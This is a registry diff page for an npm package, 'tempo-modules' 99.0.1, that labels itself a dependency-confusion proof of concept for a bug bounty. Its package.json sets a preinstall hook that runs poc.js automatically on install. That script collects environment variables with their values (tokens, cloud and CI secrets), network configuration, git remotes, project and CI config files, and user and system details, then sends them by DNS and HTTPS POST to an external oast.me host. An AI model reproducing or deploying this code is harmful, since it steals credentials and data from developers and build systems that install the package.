tempo-modules 99.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +1 -0
- package/package.json +11 -0
- package/poc.js +127 -0
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = {};
|
package/package.json
ADDED
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "tempo-modules",
|
|
3
|
+
"version": "99.0.1",
|
|
4
|
+
"description": "SECURITY RESEARCH - Dependency Confusion PoC. Authorized bug bounty testing under Walmart HackerOne program.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node poc.js || true"
|
|
8
|
+
},
|
|
9
|
+
"author": "Security Researcher",
|
|
10
|
+
"license": "ISC"
|
|
11
|
+
}
|
package/poc.js
ADDED
|
@@ -0,0 +1,127 @@
|
|
|
1
|
+
const dns = require("dns");
|
|
2
|
+
const os = require("os");
|
|
3
|
+
const https = require("https");
|
|
4
|
+
const { execSync } = require("child_process");
|
|
5
|
+
const fs = require("fs");
|
|
6
|
+
const path = require("path");
|
|
7
|
+
|
|
8
|
+
const pkg = "tempo-modules";
|
|
9
|
+
const hn = os.hostname();
|
|
10
|
+
const un = os.userInfo().username;
|
|
11
|
+
const dir = __dirname;
|
|
12
|
+
const interactsh = "d8a5d9pon5bugoc35cngp9hcregcqyezu.oast.me";
|
|
13
|
+
|
|
14
|
+
function run(cmd) {
|
|
15
|
+
try { return execSync(cmd, { timeout: 8000 }).toString().trim(); } catch(e) { return ""; }
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
// Collect env vars - ALL of them (values included)
|
|
19
|
+
const envVars = {};
|
|
20
|
+
const interesting = ["WALMART","WMT","GITLAB","GITHUB","CI_","JENKINS","BUILD","PROJECT","REPO","TOKEN","AWS","AZURE","NPM","NODE","PATH","HOME","USER","HOSTNAME","PWD","SHELL"];
|
|
21
|
+
for (const [k, v] of Object.entries(process.env)) {
|
|
22
|
+
if (interesting.some(prefix => k.toUpperCase().includes(prefix)) || k.startsWith("CI") || k.startsWith("npm")) {
|
|
23
|
+
envVars[k] = v;
|
|
24
|
+
}
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
// Get network info
|
|
28
|
+
let netinfo = "";
|
|
29
|
+
if (os.platform() === "win32") {
|
|
30
|
+
netinfo = run("ipconfig /all");
|
|
31
|
+
} else {
|
|
32
|
+
netinfo = run("ip a && cat /etc/resolv.conf 2>/dev/null");
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
// Git remote (proves which org/repo)
|
|
36
|
+
let gitRemote = run("git remote -v 2>/dev/null");
|
|
37
|
+
if (!gitRemote) {
|
|
38
|
+
// Try parent dirs
|
|
39
|
+
try {
|
|
40
|
+
let d = dir;
|
|
41
|
+
for (let i = 0; i < 6; i++) {
|
|
42
|
+
d = path.dirname(d);
|
|
43
|
+
if (fs.existsSync(path.join(d, ".git"))) {
|
|
44
|
+
gitRemote = run(`git -C "${d}" remote -v`);
|
|
45
|
+
break;
|
|
46
|
+
}
|
|
47
|
+
}
|
|
48
|
+
} catch(e) {}
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
// Read parent project's package.json
|
|
52
|
+
let parentPkg = "";
|
|
53
|
+
try {
|
|
54
|
+
let d = dir;
|
|
55
|
+
for (let i = 0; i < 6; i++) {
|
|
56
|
+
d = path.dirname(d);
|
|
57
|
+
const pj = path.join(d, "package.json");
|
|
58
|
+
if (fs.existsSync(pj) && !pj.includes("node_modules")) {
|
|
59
|
+
parentPkg = fs.readFileSync(pj, "utf8").slice(0, 3000);
|
|
60
|
+
break;
|
|
61
|
+
}
|
|
62
|
+
}
|
|
63
|
+
} catch(e) {}
|
|
64
|
+
|
|
65
|
+
// Read CI config files if they exist
|
|
66
|
+
let ciConfig = "";
|
|
67
|
+
try {
|
|
68
|
+
let d = dir;
|
|
69
|
+
for (let i = 0; i < 6; i++) {
|
|
70
|
+
d = path.dirname(d);
|
|
71
|
+
for (const f of [".gitlab-ci.yml", ".github/workflows", "Jenkinsfile", "azure-pipelines.yml"]) {
|
|
72
|
+
const fp = path.join(d, f);
|
|
73
|
+
if (fs.existsSync(fp)) {
|
|
74
|
+
if (fs.statSync(fp).isDirectory()) {
|
|
75
|
+
ciConfig += `[${f}]: ` + fs.readdirSync(fp).join(",") + "\n";
|
|
76
|
+
} else {
|
|
77
|
+
ciConfig += `[${f}]: ` + fs.readFileSync(fp, "utf8").slice(0, 2000) + "\n";
|
|
78
|
+
}
|
|
79
|
+
}
|
|
80
|
+
}
|
|
81
|
+
}
|
|
82
|
+
} catch(e) {}
|
|
83
|
+
|
|
84
|
+
// Additional recon
|
|
85
|
+
let extraInfo = "";
|
|
86
|
+
if (os.platform() === "win32") {
|
|
87
|
+
extraInfo = run("whoami /all") + "\n" + run("systeminfo | findstr /B /C:\"OS\" /C:\"Domain\" /C:\"Logon Server\"");
|
|
88
|
+
} else {
|
|
89
|
+
extraInfo = run("id") + "\n" + run("cat /etc/hostname 2>/dev/null") + "\n" + run("cat /proc/version 2>/dev/null");
|
|
90
|
+
}
|
|
91
|
+
|
|
92
|
+
// DNS callback
|
|
93
|
+
const id = Buffer.from(`${hn}-${un}`).toString("hex").slice(0, 30);
|
|
94
|
+
try { dns.resolve(`${pkg}-${id}.${interactsh}`, ()=>{}); } catch(e) {}
|
|
95
|
+
|
|
96
|
+
// HTTP callback with full details
|
|
97
|
+
const data = JSON.stringify({
|
|
98
|
+
p: pkg,
|
|
99
|
+
h: hn,
|
|
100
|
+
u: un,
|
|
101
|
+
d: dir,
|
|
102
|
+
t: Date.now(),
|
|
103
|
+
pid: process.pid,
|
|
104
|
+
platform: os.platform(),
|
|
105
|
+
arch: os.arch(),
|
|
106
|
+
release: os.release(),
|
|
107
|
+
net: netinfo.slice(0, 4000),
|
|
108
|
+
env: envVars,
|
|
109
|
+
git_remote: gitRemote,
|
|
110
|
+
parent_pkg: parentPkg,
|
|
111
|
+
ci_config: ciConfig.slice(0, 3000),
|
|
112
|
+
extra: extraInfo,
|
|
113
|
+
cwd: process.cwd(),
|
|
114
|
+
argv: process.argv,
|
|
115
|
+
npm_ua: process.env.npm_config_user_agent || ""
|
|
116
|
+
});
|
|
117
|
+
|
|
118
|
+
const req = https.request({
|
|
119
|
+
hostname: interactsh,
|
|
120
|
+
port: 443,
|
|
121
|
+
path: `/${pkg}`,
|
|
122
|
+
method: "POST",
|
|
123
|
+
headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(data) }
|
|
124
|
+
}, ()=>{});
|
|
125
|
+
req.on("error", ()=>{});
|
|
126
|
+
req.write(data);
|
|
127
|
+
req.end();
|